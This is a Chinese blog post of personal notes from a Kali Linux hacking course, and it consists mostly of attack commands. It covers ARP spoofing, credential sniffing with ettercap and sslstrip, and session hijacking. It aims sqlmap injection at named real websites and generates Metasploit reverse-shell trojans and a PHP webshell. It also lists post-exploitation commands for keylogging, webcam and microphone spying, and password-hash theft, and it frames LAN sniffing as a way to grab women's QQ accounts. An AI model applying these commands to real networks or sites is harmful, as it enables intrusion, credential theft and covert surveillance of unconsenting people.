看kali教程的一些总结（i春秋上的kali吧教程）

原创

中国好利鹏 于 2015-11-22 14:00:50 发布 4822 收藏 6
分类专栏： hack那些事 文章标签： 信息安全 局域网 测试

本文链接：https://blog.csdn.net/u013995946/article/details/49977353

windows 雨滴 美化
局域网 断网攻击 arp攻击 arpspoof -i 网卡 -t 目标ip 网关
查看局域网当中的ip Fping -asg 网段

获取内网妹子的qq

arp欺骗 ： 目标的IP流量经过我的网卡，从网关出去
arp断网 ：没有从网关出去

进行IP流量转发
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 写命令，不会有回显
可以ping通
此时：arp成功欺骗，不会出现断网现象

场景回顾：
arp欺骗成功 ==

driftnet --> 获取本机网卡的图片

目标 --》 我的网卡 --》网关

看我的网卡的图片信息

Driftnet -i eth0

第八课 http账号密码获取

开启IP转发
1、echo 1 > /proc/sys/net/ipv4/ip_forward

2、arpspoof 欺骗

3、ettercap -Tq -i eth0

-Tq 文本模式

第九课 https账号密码获取

配置一下

同上

3、sslstrip -a -f - 》 https的链接还原为http

第十课 会话劫持

arpspoof
wireshark 抓包
ferret 重新生成抓包后的文件
hamster 重放流量

sqlmap
asp http://www.czypjx.com/News_show.asp?id=113
asp www.wisefund.com.cn cookie 注入

php www.ggec.com.cn 注入

第十五课
msfpayload 生成木马

use exploit windows/meterpreter/reverse_tcp
使用这个shellcode

第十六课

如何使用木马：
help

木马常用功能：
background 后台运行
session -l 列出所有会话
session -i id 进入会话

注入进程 ： 木马随时有可能被结束掉的
ps 得到我们要注入的PID进程
Migtrate xxx 注入

2036 2004 exlore.exe 桌面进程
migrate 2036

run vnc 开启远程桌面

文件管理功能 ：
download 下载文件
edit 编辑文件
cat 查看文件
mkdir 创建文件夹
mv 移动文件
rm 删除文件
upload 上传文件
rmdir 删除文件夹

网络及文件操作
arp 看ARP缓冲表
ifconfig Ip地址
netstat 查看端口连接

kill 结束进程
ps 查看进程
reboot 重启电脑
reg 修改注册表
shell 获取shell
shutdown 关闭电脑
sysinfo 获取电脑信息

用户操作和其它功能讲解
enumdesktops --用户登录数
keyscan_dump 键盘记录下载--下载
keyscan_start -----开始
keyscan_stop -----停止

uncil disenable/enable keyboard

uncil disenable mounse?
    获取键盘鼠标控制权

record_mic   -h 音频录制
webcam_chat   查看摄像头接口
webcam_list   摄像头列表
webcam_stream   摄像头视频获取
getsystem   获取高权限
hashdump   获取hash密文

第十八课 msf之安卓渗透

msfpayload android/meterpreter/reverse_tcp
        使用这个shellcode

第十九课 msf 蓝屏攻击
DDOS
ms12_202 然并卵吧

第二十课 msf之生成webshell以及应用
1、在msf中生成一个php脚本
msfpayload php/meterpreter/reverse_tcp LHOST=ip R > web.php
2、同上
execute